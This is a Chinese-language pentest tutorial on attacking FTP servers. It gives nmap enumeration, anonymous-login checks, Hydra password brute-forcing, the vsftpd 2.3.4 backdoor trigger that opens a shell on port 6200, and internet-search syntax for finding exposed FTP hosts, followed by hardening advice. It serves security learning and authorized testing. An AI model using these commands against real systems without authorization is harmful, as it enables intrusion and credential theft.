21 - FTP

💡 学习提示: 本文档介绍 21 - FTP 的渗透测试方法,适合信息安全初学者和从业人员参考。

⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。


21 - FTP 服务

基本信息

FTP (File Transfer Protocol,文件传输协议) 是用于在网络上进行文件传输的标准网络协议。FTP 使用客户端 - 服务器架构,支持匿名访问和用户认证两种模式。

⚠️ 安全风险: FTP 协议本身不加密,用户名、密码和数据都以明文传输,容易被窃听和中间人攻击。

默认端口: 21/TCP (控制连接), 20/TCP (数据连接)

PORT   STATE SERVICE
21/tcp open  ftp

信息收集

端口扫描

# Nmap 扫描
nmap -sV -p 21 <TARGET_IP>

# FTP 枚举脚本
nmap --script ftp-anon,ftp-bounce,ftp-libopie <TARGET_IP>

匿名登录检查

# 尝试匿名登录
ftp <TARGET_IP>
# Username: anonymous
# Password: anonymous@

# 或使用 curl
curl ftp://<TARGET_IP>/

常见漏洞

1. 匿名登录

# 匿名登录
ftp <TARGET_IP>
Name: anonymous
Password: <直接回车>

# 查看可访问文件
ls
cd /
get sensitive_file.txt

2. 弱口令爆破

# Hydra 爆破
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://<TARGET_IP>

# 多用户爆破
hydra -L users.txt -P passwords.txt ftp://<TARGET_IP>

3. 已知漏洞

vsftpd 2.3.4 后门

# 检查版本
nc <TARGET_IP> 21

# 如果显示 vsftpd 2.3.4,可能存在后门
USER test:)
# 连接 6200 端口获取 shell
nc <TARGET_IP> 6200

搜索引擎语法

FOFA

# FOFA 搜索语法
port="21" && protocol="ftp"
port="21" && service="ftp"
app="vsftpd"
app="ProFTPD"

Shodan

# Shodan 搜索语法
port:21 ftp
port:21 vsftpd
port:21 ProFTPD

ZoomEye

# ZoomEye 搜索语法
port:21 service:ftp
app:"vsftpd"
app:"ProFTPD"

防御建议

  • ✅ 使用 SFTP 或 FTPS 替代明文 FTP
  • ✅ 禁用匿名访问
  • ✅ 使用强密码策略
  • ✅ 限制 FTP 用户权限
  • ✅ 配置防火墙规则
  • ✅ 定期更新 FTP 服务器软件

📖 参考资料